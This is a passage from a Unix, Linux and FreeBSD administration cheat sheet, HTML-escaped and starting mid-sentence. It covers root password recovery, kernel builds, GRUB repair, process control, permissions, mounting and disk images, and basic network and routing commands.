remount read only&lt;br /&gt;# reboot&lt;br /&gt;&lt;br /&gt;FreeBSD method 1&lt;br /&gt;On FreeBSD, boot in single user mode, remount / rw and use passwd. You can select the single user mode on the boot menu (option 4) which is displayed for 10 seconds at startup. The single user mode will give you a root shell on the / partition.&lt;br /&gt;&lt;br /&gt;# mount -u /; mount -a               # will mount / rw&lt;br /&gt;# passwd&lt;br /&gt;# reboot&lt;br /&gt;&lt;br /&gt;Unixes and FreeBSD and Linux method 2&lt;br /&gt;Other Unixes might not let you go away with the simple init trick. The solution is to mount the root partition from an other OS (like a rescue CD) and change the password on the disk.&lt;br /&gt;&lt;br /&gt;    * Boot a live CD or installation CD into a rescue mode which will give you a shell.&lt;br /&gt;    * Find the root partition with fdisk e.g. fdisk /dev/sda&lt;br /&gt;    * Mount it and use chroot:&lt;br /&gt;&lt;br /&gt;# mount -o rw /dev/ad4s3a /mnt&lt;br /&gt;# chroot /mnt                        # chroot into /mnt&lt;br /&gt;# passwd&lt;br /&gt;# reboot&lt;br /&gt;&lt;br /&gt;Kernel modules&lt;br /&gt;Linux&lt;br /&gt;&lt;br /&gt;# lsmod                              # List all modules loaded in the kernel&lt;br /&gt;# modprobe isdn                      # To load a module (here isdn)&lt;br /&gt;&lt;br /&gt;FreeBSD&lt;br /&gt;&lt;br /&gt;# kldstat                            # List all modules loaded in the kernel&lt;br /&gt;# kldload crypto                     # To load a module (here crypto)&lt;br /&gt;&lt;br /&gt;Compile Kernel&lt;br /&gt;Linux&lt;br /&gt;&lt;br /&gt;# cd /usr/src/linux&lt;br /&gt;# make mrproper                      # Clean everything, including config files&lt;br /&gt;# make oldconfig                     # Reuse the old .config if existent&lt;br /&gt;# make menuconfig                    # or xconfig (Qt) or gconfig (GTK)&lt;br /&gt;# make                               # Create a compressed kernel image&lt;br /&gt;# make modules                       # Compile the modules&lt;br /&gt;# make modules_install               # Install the modules&lt;br /&gt;# make install                       # Install the kernel&lt;br /&gt;# reboot&lt;br /&gt;&lt;br /&gt;FreeBSD&lt;br /&gt;Optionally update the source tree (in /usr/src) with csup (as of FreeBSD 6.2 or later):&lt;br /&gt;&lt;br /&gt;# csup &lt;supfile&gt;&lt;br /&gt;&lt;br /&gt;I use the following supfile:&lt;br /&gt;&lt;br /&gt;*default host=cvsup5.FreeBSD.org  # www.freebsd.org/handbook/cvsup.html#CVSUP-MIRRORS&lt;br /&gt;*default prefix=/usr &lt;br /&gt;*default base=/var/db&lt;br /&gt;*default release=cvs delete tag=RELENG_7&lt;br /&gt;src-all&lt;br /&gt;&lt;br /&gt;To modify and rebuild the kernel, copy the generic configuration file to a new name and edit it as needed (you can also edit the file GENERIC directly). To restart the build after an interruption, add the option NO_CLEAN=YES to the make command to avoid cleaning the objects already build.&lt;br /&gt;&lt;br /&gt;# cd /usr/src/sys/i386/conf/&lt;br /&gt;# cp GENERIC MYKERNEL&lt;br /&gt;# cd /usr/src&lt;br /&gt;# make buildkernel KERNCONF=MYKERNEL&lt;br /&gt;# make installkernel KERNCONF=MYKERNEL&lt;br /&gt;&lt;br /&gt;To rebuild the full OS:&lt;br /&gt;&lt;br /&gt;# make buildworld                    # Build the full OS but not the kernel&lt;br /&gt;# make buildkernel                   # Use KERNCONF as above if appropriate&lt;br /&gt;# make installkernel&lt;br /&gt;# reboot&lt;br /&gt;# mergemaster -p                     # Compares only files known to be essential&lt;br /&gt;# make installworld&lt;br /&gt;# mergemaster -i -U                  # Update all configurations and other files&lt;br /&gt;# reboot&lt;br /&gt;&lt;br /&gt;For small changes in the source you can use NO_CLEAN=yes to avoid rebuilding the whole tree.&lt;br /&gt;&lt;br /&gt;# make buildworld NO_CLEAN=yes       # Don&#39;t delete the old objects&lt;br /&gt;# make buildkernel KERNCONF=MYKERNEL NO_CLEAN=yes&lt;br /&gt;&lt;br /&gt;Repair grub&lt;br /&gt;So you broke grub? Boot from a live cd, [find your linux partition under /dev and use fdisk to find the linux partion] mount the linux partition, add /proc and /dev and use grub-install /dev/xyz. Suppose linux lies on /dev/sda6:&lt;br /&gt;&lt;br /&gt;# mount /dev/sda6 /mnt               # mount the linux partition on /mnt&lt;br /&gt;# mount --bind /proc /mnt/proc       # mount the proc subsystem into /mnt&lt;br /&gt;# mount --bind /dev /mnt/dev         # mount the devices into /mnt&lt;br /&gt;# chroot /mnt                        # change root to the linux partition&lt;br /&gt;# grub-install /dev/sda              # reinstall grub with your old settings&lt;br /&gt;&lt;br /&gt;Processes&lt;br /&gt;&lt;br /&gt;Listing | Priority | Background/Foreground | Top | Kill&lt;br /&gt;Listing and PIDs&lt;br /&gt;Each process has a unique number, the PID. A list of all running process is retrieved with ps.&lt;br /&gt;&lt;br /&gt;# ps -auxefw                         # Extensive list of all running process&lt;br /&gt;&lt;br /&gt;However more typical usage is with a pipe or with pgrep:&lt;br /&gt;&lt;br /&gt;# ps axww | grep cron&lt;br /&gt;  586  ??  Is     0:01.48 /usr/sbin/cron -s&lt;br /&gt;# ps axjf                            # All processes in a tree format (Linux)&lt;br /&gt;# ps aux | grep &#39;ss[h]&#39;              # Find all ssh pids without the grep pid&lt;br /&gt;# pgrep -l sshd                      # Find the PIDs of processes by (part of) name&lt;br /&gt;# echo $$                            # The PID of your shell&lt;br /&gt;# fuser -va 22/tcp                   # List processes using port 22 (Linux)&lt;br /&gt;# pmap PID                           # Memory map of process (hunt memory leaks) (Linux)&lt;br /&gt;# fuser -va /home                    # List processes accessing the /home partition&lt;br /&gt;# strace df                          # Trace system calls and signals&lt;br /&gt;# truss df                           # same as above on FreeBSD/Solaris/Unixware&lt;br /&gt;&lt;br /&gt;Priority&lt;br /&gt;Change the priority of a running process with renice. Negative numbers have a higher priority, the lowest is -20 and &quot;nice&quot; have a positive value.&lt;br /&gt;&lt;br /&gt;# renice -5 586                      # Stronger priority&lt;br /&gt;586: old priority 0, new priority -5&lt;br /&gt;&lt;br /&gt;Start the process with a defined priority with nice. Positive is &quot;nice&quot; or weak, negative is strong scheduling priority. Make sure you know if /usr/bin/nice or the shell built-in is used (check with # which nice).&lt;br /&gt;&lt;br /&gt;# nice -n -5 top                     # Stronger priority (/usr/bin/nice)&lt;br /&gt;# nice -n 5 top                      # Weaker priority (/usr/bin/nice)&lt;br /&gt;# nice +5 top                        # tcsh builtin nice (same as above!)&lt;br /&gt;&lt;br /&gt;While nice changes the CPU scheduler, an other useful command ionice will schedule the disk IO. This is very useful for intensive IO application (e.g. compiling). You can select a class (idle - best effort - real time), the man page is short and well explained.&lt;br /&gt;&lt;br /&gt;# ionice c3 -p123                    # set idle class for pid 123 (Linux only)&lt;br /&gt;# ionice -c2 -n0 firefox             # Run firefox with best effort and high priority&lt;br /&gt;# ionice -c3 -p$$                    # Set the actual shell to idle priority&lt;br /&gt;&lt;br /&gt;The last command is very useful to compile (or debug) a large project. Every command launched from this shell will have a lover priority. $$ is your shell pid (try echo $$).&lt;br /&gt;FreeBSD uses idprio/rtprio (0 = max priority, 31 = most idle):&lt;br /&gt;&lt;br /&gt;# idprio 31 make                     # compile in the lowest priority&lt;br /&gt;# idprio 31 -1234                    # set PID 1234 with lowest priority&lt;br /&gt;# idprio -t -1234                    # -t removes any real time/idle priority&lt;br /&gt;&lt;br /&gt;Background/Foreground&lt;br /&gt;When started from a shell, processes can be brought in the background and back to the foreground with [Ctrl]-[Z] (^Z), bg and fg. List the processes with jobs.&lt;br /&gt;&lt;br /&gt;# ping cb.vu &gt; ping.log&lt;br /&gt;^Z                                   # ping is suspended (stopped) with [Ctrl]-[Z] &lt;br /&gt;# bg                                 # put in background and continues running&lt;br /&gt;# jobs -l                            # List processes in background&lt;br /&gt;[1]  - 36232 Running                       ping cb.vu &gt; ping.log&lt;br /&gt;[2]  + 36233 Suspended (tty output)        top&lt;br /&gt;# fg %2                              # Bring process 2 back in foreground&lt;br /&gt;&lt;br /&gt;Use nohup to start a process which has to keep running when the shell is closed (immune to hangups).&lt;br /&gt;&lt;br /&gt;# nohup ping -i 60 &gt; ping.log &amp;&lt;br /&gt;&lt;br /&gt;Top&lt;br /&gt;The program top displays running information of processes. See also the program htop from htop.sourceforge.net (a more powerful version of top) which runs on Linux and FreeBSD (ports/sysutils/htop/). While top is running press the key h for a help overview. Useful keys are:&lt;br /&gt;&lt;br /&gt;    * u [user name] To display only the processes belonging to the user. Use + or blank to see all users&lt;br /&gt;    * k [pid] Kill the process with pid.&lt;br /&gt;    * 1 To display all processors statistics (Linux only)&lt;br /&gt;    * R Toggle normal/reverse sort.&lt;br /&gt;&lt;br /&gt;Signals/Kill&lt;br /&gt;Terminate or send a signal with kill or killall.&lt;br /&gt;&lt;br /&gt;# ping -i 60 cb.vu &gt; ping.log &amp;&lt;br /&gt;[1] 4712&lt;br /&gt;# kill -s TERM 4712                  # same as kill -15 4712&lt;br /&gt;# killall -1 httpd                   # Kill HUP processes by exact name&lt;br /&gt;# pkill -9 http                      # Kill TERM processes by (part of) name&lt;br /&gt;# pkill -TERM -u www                 # Kill TERM processes owned by www&lt;br /&gt;# fuser -k -TERM -m /home            # Kill every process accessing /home (to umount)&lt;br /&gt;&lt;br /&gt;Important signals are:&lt;br /&gt;&lt;br /&gt;    * 1       HUP (hang up)&lt;br /&gt;    * 2       INT (interrupt)&lt;br /&gt;    * 3       QUIT (quit)&lt;br /&gt;    * 9       KILL (non-catchable, non-ignorable kill)&lt;br /&gt;    * 15     TERM (software termination signal)&lt;br /&gt;&lt;br /&gt;File System&lt;br /&gt;&lt;br /&gt;Disk info | Boot | Disk usage | Opened files | Mount/remount | Mount SMB | Mount image | Burn ISO | Create image | Memory disk | Disk performance&lt;br /&gt;Permissions&lt;br /&gt;Change permission and ownership with chmod and chown. The default umask can be changed for all users in /etc/profile for Linux or /etc/login.conf for FreeBSD. The default umask is usually 022. The umask is subtracted from 777, thus umask 022 results in a permission 0f 755.&lt;br /&gt;&lt;br /&gt;1 --x execute                        # Mode 764 = exec/read/write | read/write | read&lt;br /&gt;2 -w- write                          # For:       |--  Owner  --|   |- Group-|   |Oth|&lt;br /&gt;4 r-- read&lt;br /&gt;  ugo=a                              u=user, g=group, o=others, a=everyone&lt;br /&gt;&lt;br /&gt;# chmod [OPTION] MODE[,MODE] FILE    # MODE is of the form [ugoa]*([-+=]([rwxXst]))&lt;br /&gt;# chmod 640 /var/log/maillog         # Restrict the log -rw-r-----&lt;br /&gt;# chmod u=rw,g=r,o= /var/log/maillog # Same as above&lt;br /&gt;# chmod -R o-r /home/*               # Recursive remove other readable for all users&lt;br /&gt;# chmod u+s /path/to/prog            # Set SUID bit on executable (know what you do!)&lt;br /&gt;# find / -perm -u+s -print           # Find all programs with the SUID bit&lt;br /&gt;# chown user:group /path/to/file     # Change the user and group ownership of a file&lt;br /&gt;# chgrp group /path/to/file          # Change the group ownership of a file&lt;br /&gt;# chmod 640 `find ./ -type f -print` # Change permissions to 640 for all files&lt;br /&gt;# chmod 751 `find ./ -type d -print` # Change permissions to 751 for all directories&lt;br /&gt;&lt;br /&gt;Disk information&lt;br /&gt;&lt;br /&gt;# diskinfo -v /dev/ad2               # information about disk (sector/size) FreeBSD&lt;br /&gt;# hdparm -I /dev/sda                 # information about the IDE/ATA disk (Linux)&lt;br /&gt;# fdisk /dev/ad2                     # Display and manipulate the partition table&lt;br /&gt;# smartctl -a /dev/ad2               # Display the disk SMART info&lt;br /&gt;&lt;br /&gt;Boot&lt;br /&gt;FreeBSD&lt;br /&gt;To boot an old kernel if the new kernel doesn&#39;t boot, stop the boot at during the count down.&lt;br /&gt;&lt;br /&gt;# unload&lt;br /&gt;# load kernel.old&lt;br /&gt;# boot&lt;br /&gt;&lt;br /&gt;System mount points/Disk usage&lt;br /&gt;&lt;br /&gt;# mount | column -t                  # Show mounted file-systems on the system&lt;br /&gt;# df                                 # display free disk space and mounted devices&lt;br /&gt;# cat /proc/partitions               # Show all registered partitions (Linux)&lt;br /&gt;&lt;br /&gt;Disk usage&lt;br /&gt;&lt;br /&gt;# du -sh *                           # Directory sizes as listing&lt;br /&gt;# du -csh                            # Total directory size of the current directory&lt;br /&gt;# du -ks * | sort -n -r              # Sort everything by size in kilobytes&lt;br /&gt;# ls -lSr                            # Show files, biggest last&lt;br /&gt;&lt;br /&gt;Who has which files opened&lt;br /&gt;This is useful to find out which file is blocking a partition which has to be unmounted and gives a typical error of:&lt;br /&gt;&lt;br /&gt;# umount /home/&lt;br /&gt;umount: unmount of /home             # umount impossible because a file is locking home&lt;br /&gt;   failed: Device busy&lt;br /&gt;&lt;br /&gt;FreeBSD and most Unixes&lt;br /&gt;&lt;br /&gt;# fstat -f /home                     # for a mount point&lt;br /&gt;# fstat -p PID                       # for an application with PID&lt;br /&gt;# fstat -u user                      # for a user name&lt;br /&gt;&lt;br /&gt;Find opened log file (or other opened files), say for Xorg:&lt;br /&gt;&lt;br /&gt;# ps ax | grep Xorg | awk &#39;{print $1}&#39;&lt;br /&gt;1252&lt;br /&gt;# fstat -p 1252&lt;br /&gt;USER     CMD          PID   FD MOUNT      INUM MODE         SZ|DV R/W&lt;br /&gt;root     Xorg        1252 root /             2 drwxr-xr-x     512  r&lt;br /&gt;root     Xorg        1252 text /usr     216016 -rws--x--x  1679848 r&lt;br /&gt;root     Xorg        1252    0 /var     212042 -rw-r--r--   56987  w&lt;br /&gt;&lt;br /&gt;The file with inum 212042 is the only file in /var:&lt;br /&gt;&lt;br /&gt;# find -x /var -inum 212042&lt;br /&gt;/var/log/Xorg.0.log&lt;br /&gt;&lt;br /&gt;Linux&lt;br /&gt;Find opened files on a mount point with fuser or lsof:&lt;br /&gt;&lt;br /&gt;# fuser -m /home                     # List processes accessing /home&lt;br /&gt;# lsof /home&lt;br /&gt;COMMAND   PID    USER   FD   TYPE DEVICE    SIZE     NODE NAME&lt;br /&gt;tcsh    29029 eedcoba  cwd    DIR   0,18   12288  1048587 /home/eedcoba (guam:/home)&lt;br /&gt;lsof    29140 eedcoba  cwd    DIR   0,18   12288  1048587 /home/eedcoba (guam:/home)&lt;br /&gt;&lt;br /&gt;About an application:&lt;br /&gt;&lt;br /&gt;ps ax | grep Xorg | awk &#39;{print $1}&#39;&lt;br /&gt;3324&lt;br /&gt;# lsof -p 3324&lt;br /&gt;COMMAND   PID    USER   FD   TYPE DEVICE    SIZE    NODE NAME&lt;br /&gt;Xorg    3324 root    0w   REG        8,6   56296      12492 /var/log/Xorg.0.log&lt;br /&gt;&lt;br /&gt;About a single file:&lt;br /&gt;&lt;br /&gt;# lsof /var/log/Xorg.0.log&lt;br /&gt;COMMAND  PID USER   FD   TYPE DEVICE  SIZE  NODE NAME&lt;br /&gt;Xorg    3324 root    0w   REG    8,6 56296 12492 /var/log/Xorg.0.log&lt;br /&gt;&lt;br /&gt;Mount/remount a file system&lt;br /&gt;For example the cdrom. If listed in /etc/fstab:&lt;br /&gt;&lt;br /&gt;# mount /cdrom&lt;br /&gt;&lt;br /&gt;Or find the device in /dev/ or with dmesg&lt;br /&gt;FreeBSD&lt;br /&gt;&lt;br /&gt;# mount -v -t cd9660 /dev/cd0c /mnt  # cdrom&lt;br /&gt;# mount_cd9660 /dev/wcd0c /cdrom     # other method&lt;br /&gt;# mount -v -t msdos /dev/fd0c /mnt   # floppy&lt;br /&gt;&lt;br /&gt;Entry in /etc/fstab:&lt;br /&gt;&lt;br /&gt;# Device                Mountpoint      FStype  Options         Dump    Pass#&lt;br /&gt;/dev/acd0               /cdrom          cd9660  ro,noauto       0       0&lt;br /&gt;&lt;br /&gt;To let users do it:&lt;br /&gt;&lt;br /&gt;# sysctl vfs.usermount=1  # Or insert the line &quot;vfs.usermount=1&quot; in /etc/sysctl.conf&lt;br /&gt;&lt;br /&gt;Linux&lt;br /&gt;&lt;br /&gt;# mount -t auto /dev/cdrom /mnt/cdrom   # typical cdrom mount command&lt;br /&gt;# mount /dev/hdc -t iso9660 -r /cdrom   # typical IDE&lt;br /&gt;# mount /dev/scd0 -t iso9660 -r /cdrom  # typical SCSI cdrom&lt;br /&gt;# mount /dev/sdc0 -t ntfs-3g /windows   # typical SCSI&lt;br /&gt;&lt;br /&gt;Entry in /etc/fstab:&lt;br /&gt;&lt;br /&gt;/dev/cdrom   /media/cdrom  subfs noauto,fs=cdfss,ro,procuid,nosuid,nodev,exec 0 0&lt;br /&gt;&lt;br /&gt;Mount a FreeBSD partition with Linux&lt;br /&gt;Find the partition number containing with fdisk, this is usually the root partition, but it could be an other BSD slice too. If the FreeBSD has many slices, they are the one not listed in the fdisk table, but visible in /dev/sda* or /dev/hda*.&lt;br /&gt;&lt;br /&gt;# fdisk /dev/sda                     # Find the FreeBSD partition&lt;br /&gt;/dev/sda3   *        5357        7905    20474842+  a5  FreeBSD&lt;br /&gt;# mount -t ufs -o ufstype=ufs2,ro /dev/sda3 /mnt&lt;br /&gt;/dev/sda10 = /tmp; /dev/sda11 /usr   # The other slices&lt;br /&gt;&lt;br /&gt;Remount&lt;br /&gt;Remount a device without unmounting it. Necessary for fsck for example&lt;br /&gt;&lt;br /&gt;# mount -o remount,ro /              # Linux&lt;br /&gt;# mount -o ro /                      # FreeBSD&lt;br /&gt;&lt;br /&gt;Copy the raw data from a cdrom into an iso image:&lt;br /&gt;&lt;br /&gt;# dd if=/dev/cd0c of=file.iso&lt;br /&gt;&lt;br /&gt;Add swap on-the-fly&lt;br /&gt;Suppose you need more swap (right now), say a 2GB file /swap2gb (Linux only).&lt;br /&gt;&lt;br /&gt;# dd if=/dev/zero of=/swap2gb bs=1024k count=2000&lt;br /&gt;# mkswap /swap2gb                    # create the swap area&lt;br /&gt;# swapon /swap2gb                    # activate the swap. It now in use&lt;br /&gt;# swapoff /swap2gb                   # when done deactivate the swap&lt;br /&gt;# rm /swap2gb&lt;br /&gt;&lt;br /&gt;Mount an SMB share&lt;br /&gt;Suppose we want to access the SMB share myshare on the computer smbserver, the address as typed on a Windows PC is \\smbserver\myshare\. We mount on /mnt/smbshare. Warning&gt; cifs wants an IP or DNS name, not a Windows name.&lt;br /&gt;Linux&lt;br /&gt;&lt;br /&gt;# smbclient -U user -I 192.168.16.229 -L //smbshare/    # List the shares&lt;br /&gt;# mount -t smbfs -o username=winuser //smbserver/myshare /mnt/smbshare&lt;br /&gt;# mount -t cifs -o username=winuser,password=winpwd //192.168.16.229/myshare /mnt/share&lt;br /&gt;&lt;br /&gt;Additionally with the package mount.cifs it is possible to store the credentials in a file, for example /home/user/.smb:&lt;br /&gt;&lt;br /&gt;username=winuser&lt;br /&gt;password=winpwd&lt;br /&gt;&lt;br /&gt;And mount as follow:&lt;br /&gt;&lt;br /&gt;# mount -t cifs -o credentials=/home/user/.smb //192.168.16.229/myshare /mnt/smbshare&lt;br /&gt;&lt;br /&gt;FreeBSD&lt;br /&gt;Use -I to give the IP (or DNS name); smbserver is the Windows name.&lt;br /&gt;&lt;br /&gt;# smbutil view -I 192.168.16.229 //winuser@smbserver    # List the shares&lt;br /&gt;# mount_smbfs -I 192.168.16.229 //winuser@smbserver/myshare /mnt/smbshare&lt;br /&gt;&lt;br /&gt;Mount an image&lt;br /&gt;Linux loop-back&lt;br /&gt;&lt;br /&gt;# mount -t iso9660 -o loop file.iso /mnt                # Mount a CD image&lt;br /&gt;# mount -t ext3 -o loop file.img /mnt                   # Mount an image with ext3 fs&lt;br /&gt;&lt;br /&gt;FreeBSD&lt;br /&gt;With memory device (do # kldload md.ko if necessary):&lt;br /&gt;&lt;br /&gt;# mdconfig -a -t vnode -f file.iso -u 0&lt;br /&gt;# mount -t cd9660 /dev/md0 /mnt&lt;br /&gt;# umount /mnt; mdconfig -d -u 0                         # Cleanup the md device&lt;br /&gt;&lt;br /&gt;Or with virtual node:&lt;br /&gt;&lt;br /&gt;# vnconfig /dev/vn0c file.iso; mount -t cd9660 /dev/vn0c /mnt&lt;br /&gt;# umount /mnt; vnconfig -u /dev/vn0c                    # Cleanup the vn device&lt;br /&gt;&lt;br /&gt;Solaris and FreeBSD&lt;br /&gt;with loop-back file interface or lofi:&lt;br /&gt;&lt;br /&gt;# lofiadm -a file.iso&lt;br /&gt;# mount -F hsfs -o ro /dev/lofi/1 /mnt&lt;br /&gt;# umount /mnt; lofiadm -d /dev/lofi/1                   # Cleanup the lofi device&lt;br /&gt;&lt;br /&gt;Create and burn an ISO image&lt;br /&gt;This will copy the cd or DVD sector for sector. Without conv=notrunc, the image will be smaller if there is less content on the cd. See below and the dd examples.&lt;br /&gt;&lt;br /&gt;# dd if=/dev/hdc of=/tmp/mycd.iso bs=2048 conv=notrunc&lt;br /&gt;&lt;br /&gt;Use mkisofs to create a CD/DVD image from files in a directory. To overcome the file names restrictions: -r enables the Rock Ridge extensions common to UNIX systems, -J enables Joliet extensions used by Microsoft systems. -L allows ISO9660 filenames to begin with a period.&lt;br /&gt;&lt;br /&gt;# mkisofs -J -L -r -V TITLE -o imagefile.iso /path/to/dir&lt;br /&gt;&lt;br /&gt;On FreeBSD, mkisofs is found in the ports in sysutils/cdrtools.&lt;br /&gt;Burn a CD/DVD ISO image&lt;br /&gt;FreeBSD&lt;br /&gt;FreeBSD does not enable DMA on ATAPI drives by default. DMA is enabled with the sysctl command and the arguments below, or with /boot/loader.conf with the following entries:&lt;br /&gt;&lt;br /&gt;hw.ata.ata_dma=&quot;1&quot;&lt;br /&gt;hw.ata.atapi_dma=&quot;1&quot;&lt;br /&gt;&lt;br /&gt;Use burncd with an ATAPI device (burncd is part of the base system) and cdrecord (in sysutils/cdrtools) with a SCSI drive.&lt;br /&gt;&lt;br /&gt;# burncd -f /dev/acd0 data imagefile.iso fixate      # For ATAPI drive&lt;br /&gt;# cdrecord -scanbus                  # To find the burner device (like 1,0,0)&lt;br /&gt;# cdrecord dev=1,0,0 imagefile.iso&lt;br /&gt;&lt;br /&gt;Linux&lt;br /&gt;Also use cdrecord with Linux as described above. Additionally it is possible to use the native ATAPI interface which is found with:&lt;br /&gt;&lt;br /&gt;# cdrecord dev=ATAPI -scanbus&lt;br /&gt;&lt;br /&gt;And burn the CD/DVD as above.&lt;br /&gt;dvd+rw-tools&lt;br /&gt;The dvd+rw-tools package (FreeBSD: ports/sysutils/dvd+rw-tools) can do it all and includes growisofs to burn CDs or DVDs. The examples refer to the dvd device as /dev/dvd which could be a symlink to /dev/scd0 (typical scsi on Linux) or /dev/cd0 (typical FreeBSD) or /dev/rcd0c (typical NetBSD/OpenBSD character SCSI) or /dev/rdsk/c0t1d0s2 (Solaris example of a character SCSI/ATAPI CD-ROM device). There is a nice documentation with examples on the FreeBSD handbook chapter 18.7http://www.freebsd.org/handbook/creating-dvds.html.&lt;br /&gt;&lt;br /&gt;                       # -dvd-compat closes the disk&lt;br /&gt;# growisofs -dvd-compat -Z /dev/dvd=imagefile.iso     # Burn existing iso image&lt;br /&gt;# growisofs -dvd-compat -Z /dev/dvd -J -R /p/to/data  # Burn directly&lt;br /&gt;&lt;br /&gt;Convert a Nero .nrg file to .iso&lt;br /&gt;Nero simply adds a 300Kb header to a normal iso image. This can be trimmed with dd.&lt;br /&gt;&lt;br /&gt;# dd bs=1k if=imagefile.nrg of=imagefile.iso skip=300&lt;br /&gt;&lt;br /&gt;Convert a bin/cue image to .iso&lt;br /&gt;The little bchunk programhttp://freshmeat.net/projects/bchunk/ can do this. It is in the FreeBSD ports in sysutils/bchunk.&lt;br /&gt;&lt;br /&gt;# bchunk imagefile.bin imagefile.cue imagefile.iso&lt;br /&gt;&lt;br /&gt;Create a file based image&lt;br /&gt;For example a partition of 1GB using the file /usr/vdisk.img. Here we use the vnode 0, but it could also be 1.&lt;br /&gt;FreeBSD&lt;br /&gt;&lt;br /&gt;# dd if=/dev/random of=/usr/vdisk.img bs=1K count=1M&lt;br /&gt;# mdconfig -a -t vnode -f /usr/vdisk.img -u 0         # Creates device /dev/md1&lt;br /&gt;# bsdlabel -w /dev/md0&lt;br /&gt;# newfs /dev/md0c&lt;br /&gt;# mount /dev/md0c /mnt&lt;br /&gt;# umount /mnt; mdconfig -d -u 0; rm /usr/vdisk.img    # Cleanup the md device&lt;br /&gt;&lt;br /&gt;The file based image can be automatically mounted during boot with an entry in /etc/rc.conf and /etc/fstab. Test your setup with # /etc/rc.d/mdconfig start (first delete the md0 device with # mdconfig -d -u 0).&lt;br /&gt;Note however that this automatic setup will only work if the file image is NOT on the root partition. The reason is that the /etc/rc.d/mdconfig script is executed very early during boot and the root partition is still read-only. Images located outside the root partition will be mounted later with the script /etc/rc.d/mdconfig2.&lt;br /&gt;/boot/loader.conf:&lt;br /&gt;&lt;br /&gt;md_load=&quot;YES&quot;&lt;br /&gt;&lt;br /&gt;/etc/rc.conf:&lt;br /&gt;&lt;br /&gt;# mdconfig_md0=&quot;-t vnode -f /usr/vdisk.img&quot;          # /usr is not on the root partition&lt;br /&gt;&lt;br /&gt;/etc/fstab: (The 0 0 at the end is important, it tell fsck to ignore this device, as is does not exist yet)&lt;br /&gt;&lt;br /&gt;/dev/md0                /usr/vdisk      ufs     rw              0       0&lt;br /&gt;&lt;br /&gt;It is also possible to increase the size of the image afterward, say for example 300 MB larger.&lt;br /&gt;&lt;br /&gt;# umount /mnt; mdconfig -d -u 0&lt;br /&gt;# dd if=/dev/zero bs=1m count=300 &gt;&gt; /usr/vdisk.img&lt;br /&gt;# mdconfig -a -t vnode -f /usr/vdisk.img -u 0&lt;br /&gt;# growfs /dev/md0&lt;br /&gt;# mount /dev/md0c /mnt                                # File partition is now 300 MB larger&lt;br /&gt;&lt;br /&gt;Linux&lt;br /&gt;&lt;br /&gt;# dd if=/dev/zero of=/usr/vdisk.img bs=1024k count=1024&lt;br /&gt;# mkfs.ext3 /usr/vdisk.img&lt;br /&gt;# mount -o loop /usr/vdisk.img /mnt&lt;br /&gt;# umount /mnt; rm /usr/vdisk.img                      # Cleanup&lt;br /&gt;&lt;br /&gt;Linux with losetup&lt;br /&gt;/dev/zero is much faster than urandom, but less secure for encryption.&lt;br /&gt;&lt;br /&gt;# dd if=/dev/urandom of=/usr/vdisk.img bs=1024k count=1024&lt;br /&gt;# losetup /dev/loop0 /usr/vdisk.img                   # Creates and associates /dev/loop0&lt;br /&gt;# mkfs.ext3 /dev/loop0&lt;br /&gt;# mount /dev/loop0 /mnt&lt;br /&gt;# losetup -a                                          # Check used loops&lt;br /&gt;# umount /mnt&lt;br /&gt;# losetup -d /dev/loop0                               # Detach&lt;br /&gt;# rm /usr/vdisk.img&lt;br /&gt;&lt;br /&gt;Create a memory file system&lt;br /&gt;A memory based file system is very fast for heavy IO application. How to create a 64 MB partition mounted on /memdisk:&lt;br /&gt;FreeBSD&lt;br /&gt;&lt;br /&gt;# mount_mfs -o rw -s 64M md /memdisk&lt;br /&gt;# umount /memdisk; mdconfig -d -u 0                   # Cleanup the md device&lt;br /&gt;md     /memdisk     mfs     rw,-s64M    0   0         # /etc/fstab entry&lt;br /&gt;&lt;br /&gt;Linux&lt;br /&gt;&lt;br /&gt;# mount -t tmpfs -osize=64m tmpfs /memdisk&lt;br /&gt;&lt;br /&gt;Disk performance&lt;br /&gt;Read and write a 1 GB file on partition ad4s3c (/home)&lt;br /&gt;&lt;br /&gt;# time dd if=/dev/ad4s3c of=/dev/null bs=1024k count=1000&lt;br /&gt;# time dd if=/dev/zero bs=1024k count=1000 of=/home/1Gb.file&lt;br /&gt;# hdparm -tT /dev/hda      # Linux only&lt;br /&gt;&lt;br /&gt;Network&lt;br /&gt;&lt;br /&gt;Routing | Additional IP | Change MAC | Ports | Firewall | IP Forward | NAT | DNS | DHCP | Traffic | QoS | NIS | Netcat&lt;br /&gt;Debugging (See also Traffic analysis)&lt;br /&gt;Linux&lt;br /&gt;&lt;br /&gt;# ethtool eth0              # Show the ethernet status (replaces mii-diag)&lt;br /&gt;# ethtool -s eth0 speed 100 duplex full # Force 100Mbit Full duplex&lt;br /&gt;# ethtool -s eth0 autoneg off # Disable auto negotiation&lt;br /&gt;# ethtool -p eth1           # Blink the ethernet led - very useful when supported&lt;br /&gt;# ip link show              # Display all interfaces on Linux (similar to ifconfig)&lt;br /&gt;# ip link set eth0 up       # Bring device up (or down). Same as &quot;ifconfig eth0 up&quot;&lt;br /&gt;# ip addr show              # Display all IP addresses on Linux (similar to ifconfig)&lt;br /&gt;# ip neigh show             # Similar to arp -a&lt;br /&gt;&lt;br /&gt;Other OSes&lt;br /&gt;&lt;br /&gt;# ifconfig fxp0             # Check the &quot;media&quot; field on FreeBSD&lt;br /&gt;# arp -a                    # Check the router (or host) ARP entry (all OS)&lt;br /&gt;# ping cb.vu                # The first thing to try...&lt;br /&gt;# traceroute cb.vu          # Print the route path to destination&lt;br /&gt;# ifconfig fxp0 media 100baseTX mediaopt full-duplex # 100Mbit full duplex (FreeBSD)&lt;br /&gt;# netstat -s                # System-wide statistics for each network protocol&lt;br /&gt;&lt;br /&gt;Additional commands which are not always installed per default but easy to find:&lt;br /&gt;&lt;br /&gt;# arping 192.168.16.254     # Ping on ethernet layer&lt;br /&gt;# tcptraceroute -f 5 cb.vu  # uses tcp instead of icmp to trace through firewalls&lt;br /&gt;&lt;br /&gt;Routing&lt;br /&gt;Print routing table&lt;br /&gt;&lt;br /&gt;# route -n                  # Linux or use &quot;ip route&quot;&lt;br /&gt;# netstat -rn               # Linux, BSD and UNIX&lt;br /&gt;# route print               # Windows&lt;br /&gt;&lt;br /&gt;Add and delete a route&lt;br /&gt;FreeBSD&lt;br /&gt;&lt;br /&gt;# route add 212.117.0.0/16 192.168.1.1&lt;br /&gt;# route delete 212.117.0.0/16&lt;br /&gt;# route add default 192.168.1.1&lt;br /&gt;&lt;br /&gt;Add the route permanently in /etc/rc.conf&lt;br /&gt;&lt;br /&gt;static_routes=&quot;myroute&quot;&lt;br /&gt;route_myroute=&quot;-net 212.117.0.0/16 192.168.1.1&quot;&lt;br 